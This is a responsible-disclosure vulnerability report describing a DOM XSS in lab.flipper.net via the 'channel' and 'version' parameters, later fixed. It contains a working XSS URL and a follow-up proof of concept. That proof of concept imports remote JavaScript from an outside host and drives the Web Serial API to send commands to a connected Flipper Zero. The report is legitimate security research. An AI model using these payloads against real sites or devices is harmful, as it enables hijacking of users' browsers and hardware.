DOM XSS on lab.flipper.net via the "channel" or "version" parameters in flipperdevices/lab.flipper.net

Valid

Reported on

Oct 27th 2022


Description

Hi ! The Web Platform for the Flipper is vulnerable to DOM XSS via the channel and version parameters. This occurs because when the user clicks on Choose firmware the values are passed directly to innerHTML without parsing.

Proof of Concept

  1. 1 The user access the following URL : https://lab.flipper.net/?url=wtf.tgz&channel=123&version=%3Cimg%20src=x%20onerror=%27alert(document.domain)%27/%3E
  2. 2 The user clicks on the Choose firmware dropdown
  3. 3 An alert pops.

alert

The vulnerable portion of the code in Vue.js is on lab.flipper.net/frontend/src/components/Updater.vue

            <template v-slot:option="scope">
              <q-item v-bind="scope.itemProps">
                <q-item-section class="items-start">
                  <q-item-label v-html="scope.opt.label" />
                </q-item-section>
                <q-item-section class="items-end">
                  <q-item-label v-html="scope.opt.version" :class="'fw-option-label ' + scope.opt.value"/>
                </q-item-section>
              </q-item>

The v-html directive is used, this causes the variables to be inserted as HTML, where probably should be only text.

Impact

An attacker can send a malicious link to the victim that runs arbitrary javascript on the page.

We are processing your report and will contact the flipperdevices/lab.flipper.net team within 24 hours. a month ago
We created a GitHub Issue asking the maintainers to create a SECURITY.md a month ago
Caio Lüders
a month ago

Researcher


Hey , I have made a PoC achieving RCE on the Flipper Zero to evidence the full impact of the vulnerability.

Video : drive.google.com/file/d/1GOri-c56-7Sp78mloqDYu1Jj6c3f6Hn4/view?usp=sharing


// payload : <img/src/onerror=import('https://lude.rs/pocs/flipper_rce_xss.js')>

const sleep = ms => new Promise(r => setTimeout(r, ms));


setTimeout( async() => {

    // disconnect current serial ;
    document.querySelector("#q-app > div > header > div > button").click();

    await sleep(100);

    try {
        document.querySelector("body > div:nth-child(3) > div > div > div.column.items-center > button").click();
    } catch {
        document.querySelector("body > div:nth-child(4) > div > div > div.column.items-center > button").click();
    }

    await sleep(500);

    var ports = await navigator.serial.getPorts();
    var pwn = await ports[0].open({baudRate:1});
    var payload = [
        new Uint8Array([115,116,97,114,116,95,114,112,99,95,115,101,115,115,105,111,110,13]).buffer, // start_rpc_session\r
        new Uint8Array([4,8,1,42,0]).buffer,
        new Uint8Array([5,8,2,130,2,0]).buffer,
        new Uint8Array([10, 8, 3, 58, 6, 10, 4, 47, 101, 120, 116]).buffer,
        new Uint8Array([11, 8, 4, 226, 1, 6, 10, 4, 47, 101, 120, 116]).buffer,
        new Uint8Array([5,8,5,210,1,0]).buffer,
        new Uint8Array([9,8,6,186,1,4,8,4,16,0]).buffer,
        new Uint8Array([9,8,7,186,1,4,8,4,16,2]).buffer,
        new Uint8Array([9,8,8,186,1,4,8,4,16,1]).buffer,
        new Uint8Array([137,8,8,9,178,1,131,8,10,128,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,128,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,128,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,32,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,48,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,144,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,136,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,140,0,0,0,0,0,0,0,248,255,255,0,0,0,0,0,132,0,0,0,0,0,0,0,0,0,128,7,0,0,0,0,196,0,252,31,0,0,0,0,0,0,0,8,0,0,0,0,68,0,0,96,0,0,0,0,0,0,0,16,0,0,0,0,70,0,0,64,0,224,255,3,0,0,0,96,0,0,0,0,66,0,0,128,0,0,0,4,0,0,0,64,0,0,0,0,66,0,0,0,1,0,0,4,0,0,0,64,0,0,0,0,66,0,0,0,1,0,0,4,0,0,0,64,0,0,0,0,66,0,0,0,1,0,0,4,0,0,0,64,0,0,0,0,66,0,0,0,1,0,0,4,0,0,0,64,0,0,0,0,66,0,0,0,1,0,0,2,0,0,0,64,0,0,0,0,64,0,0,192,0,0,224,7,0,0,0,64,0,0,0,0,64,0,0,255,1,0,56,8,0,0,0,64,0,0,0,0,64,0,0,0,2,0,0,16,0,0,0,64,0,0,0,0,64,0,0,0,2,0,0,16,0,0,0,64,0,0,0,0,64,0,0,0,4,0,0,16,0,0,0,32,0,0,0,0,64,0,0,0,8,0,0,32,0,0,0,32,0,0,0,0,64,0,0,0,8,0,0,32,0,0,0,32,0,0,0,0,64,0,0,0,8,0,0,32,0,0,240,255,255,3,0,0,32,0,0,0,8,0,0,16,0,0,0,32,0,0,0,0,32,0,0,0,8,0,1,12,0,0,0,48,0,0,0,0,32,0,0,0,4,0,1,6,0,0,0,16,0,0,0,0,32,0,0,2,3,0,227,1,0,0,0,16,0,0,0,0,32,0,0,254,1,0,60,0,0,0,0,16,0,0,0,0,32,0,0,0,0,0,0,0,0,0,0,16,0,0,0,0,32,4,0,0,0,0,0,0,0,0,0,16,0,0,0,0,248,7,0,0,0,0,0,0,0,0,0,16,0,0,0,128,63,0,0,0,0,0,0,0,0,0,0,16,0,0,0,0,32,0,0,0,0,0,0,0,0,0,0,24,0,0,0,0,32,0,0,0,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]).buffer,
        new Uint8Array([9,8,10,186,1,4,8,4,16,0]).buffer,
        new Uint8Array([9,8,11,186,1,4,8,4,16,2]).buffer,
        new Uint8Array([9,8,12,186,1,4,8,4,16,1]).buffer
    ];

    for (var i = 0; i < payload.length; i++) {
        await sleep(100);

        var writer = await ports[0].writable.getWriter() ; 
        await writer.write(payload[i]);
        await writer.close();
    }
    


    console.log('done');

},500);

On the PoC I just sent commands to write 1337 on the screen, but it's possible to send any command to the device, including installing applications and sending files.

We have contacted a member of the flipperdevices/lab.flipper.net team and are waiting to hear back 21 days ago
Anna Prosvetova validated this vulnerability 20 days ago
Caio Lüders has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
slipn3r marked this as fixed in 0.1.0 with commit d582c4 19 days ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
Updater.vue#L26 has been validated
Updater.vue#L29 has been validated
Caio Lüders
14 days ago

Researcher


Hi, is this report gonna be made public ?

Caio Lüders
7 days ago

Researcher


@admin

Hi, is this report gonna be made public ?

Pavlos
3 days ago

Admin


Let me email them and ask :)

Pavlos
3 days ago

Admin


By the way really sick job discovering a vulnerability in flipper! I love this startup 🐬

Anna Prosvetova published this vulnerability 6 hours ago
Anna Prosvetova
6 hours ago

Hey @caioluders, I just published the vulnerability. I was actually trying to do this the day it was fixed, on November 17th, but the website wouldn't react to me pressing "Publish".

Thank you @psmoros for reminding me to look into this again, it worked this time.

@caioluders, thanks again for the amazing work!

to join this conversation